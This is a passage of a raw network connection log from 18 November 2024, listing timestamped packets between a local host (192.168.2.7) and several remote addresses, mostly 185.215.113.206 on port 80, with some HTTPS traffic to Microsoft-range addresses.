Nov 18, 2024 08:55:48.323837996 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.323848963 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.323858023 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.323865891 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.323877096 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.323888063 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.323894024 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.323899984 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.323911905 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.323914051 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.323924065 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.323935986 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.323939085 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.323955059 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.323966026 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.323967934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.323976040 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324003935 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324019909 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324031115 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324043036 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324059963 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324063063 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324083090 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324131966 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324156046 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324210882 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324227095 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324248075 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324254990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324275970 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324295998 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324301004 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324331045 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324393988 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324445009 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324445963 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324457884 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324469090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324487925 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324501038 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324503899 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324513912 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324531078 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324558973 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324568033 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324584961 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324596882 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324603081 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324616909 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324629068 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324769020 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324783087 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324795008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324805975 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324806929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324817896 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324819088 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324830055 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324841022 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324841022 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324851990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324862003 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324867010 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324873924 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324884892 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324897051 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324908972 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324928045 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324928045 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324928045 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324928045 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324939013 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324949026 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324960947 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324960947 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324960947 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324975014 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324985981 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.324990988 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.324995995 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325007915 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325014114 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325020075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325031042 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325042963 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325046062 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325053930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325056076 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325064898 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325064898 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325078964 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325093031 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325097084 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325108051 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325117111 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325117111 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325129032 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325139999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325139999 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325150013 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325160980 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325166941 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325172901 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325184107 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325185061 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325196028 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325201988 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325206995 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325218916 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325226068 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325232029 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325248957 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325249910 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325261116 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325274944 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325278044 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325292110 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325301886 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325301886 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325313091 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325315952 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325325012 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325340986 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325342894 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325355053 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325365067 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325372934 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325385094 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325387001 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325397015 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325398922 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325408936 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325422049 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325433969 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325437069 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325445890 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325457096 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325459957 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325468063 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325476885 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325480938 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325493097 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325505018 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325505972 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325517893 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325526953 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325544119 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325547934 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325555086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325561047 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325567007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325578928 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325587988 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325589895 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325602055 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325613022 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325614929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325623989 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325629950 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325634956 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325647116 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.325655937 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.325690031 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.327999115 CET	443	49947	204.79.197.219	192.168.2.7
Nov 18, 2024 08:55:48.328385115 CET	49947	443	192.168.2.7	204.79.197.219
Nov 18, 2024 08:55:48.328403950 CET	443	49947	204.79.197.219	192.168.2.7
Nov 18, 2024 08:55:48.328624010 CET	443	49950	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.329431057 CET	443	49947	204.79.197.219	192.168.2.7
Nov 18, 2024 08:55:48.329489946 CET	49947	443	192.168.2.7	204.79.197.219
Nov 18, 2024 08:55:48.329842091 CET	49947	443	192.168.2.7	204.79.197.219
Nov 18, 2024 08:55:48.329893112 CET	443	49947	204.79.197.219	192.168.2.7
Nov 18, 2024 08:55:48.339997053 CET	49950	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.340028048 CET	443	49950	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.340573072 CET	49950	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.340579987 CET	443	49950	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.355429888 CET	443	49942	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.355458975 CET	443	49942	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.355509996 CET	443	49942	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.355519056 CET	49942	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.355551004 CET	49942	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.356494904 CET	49942	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.356511116 CET	443	49942	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.356519938 CET	49942	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.356525898 CET	443	49942	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.361377954 CET	49962	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.361418009 CET	443	49962	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.361546040 CET	49962	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.361789942 CET	49962	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.361809015 CET	443	49962	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.366323948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366339922 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366430044 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.366697073 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366718054 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366733074 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366744995 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366766930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366786957 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366786957 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.366786957 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.366801023 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366812944 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.366813898 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366828918 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366831064 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.366862059 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366873980 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366883993 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.366902113 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.366906881 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366919994 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366925955 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.366930008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366941929 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366945982 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.366954088 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366957903 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.366966009 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366977930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366980076 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.366990089 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.366997957 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367003918 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367026091 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367042065 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367069960 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367082119 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367094040 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367117882 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367119074 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367139101 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367139101 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367157936 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367177010 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367180109 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367192984 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367203951 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367214918 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367218018 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367227077 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367233992 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367237091 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367250919 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367268085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367300034 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367321014 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367331028 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367341995 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367352962 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367366076 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367368937 CET	443	49941	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.367379904 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367394924 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367422104 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367480993 CET	443	49941	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.367542028 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367551088 CET	49941	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.367553949 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367572069 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367578983 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367584944 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367595911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367599964 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367609024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367611885 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367620945 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367634058 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367645979 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367649078 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367662907 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367665052 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367672920 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367693901 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367703915 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367707014 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367716074 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367737055 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367749929 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367753029 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367760897 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367773056 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367775917 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367796898 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367803097 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367806911 CET	443	49944	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.367824078 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367825031 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367835999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367846966 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367862940 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367877960 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367888927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367901087 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367903948 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367913008 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367913961 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367925882 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367934942 CET	443	49944	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:48.367938042 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367944002 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367949963 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367955923 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367964983 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.367970943 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367993116 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.367999077 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368004084 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368015051 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368026972 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368031979 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368036985 CET	49944	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:48.368038893 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368051052 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368055105 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368062019 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368089914 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368468046 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368490934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368510008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368522882 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368542910 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368637085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368649960 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368663073 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368684053 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368685007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368697882 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368710041 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368721008 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368721962 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368726969 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368735075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368748903 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368750095 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368761063 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368773937 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.368774891 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368788004 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.368802071 CET	49844	80	192.168.2.7	185.215.113.206
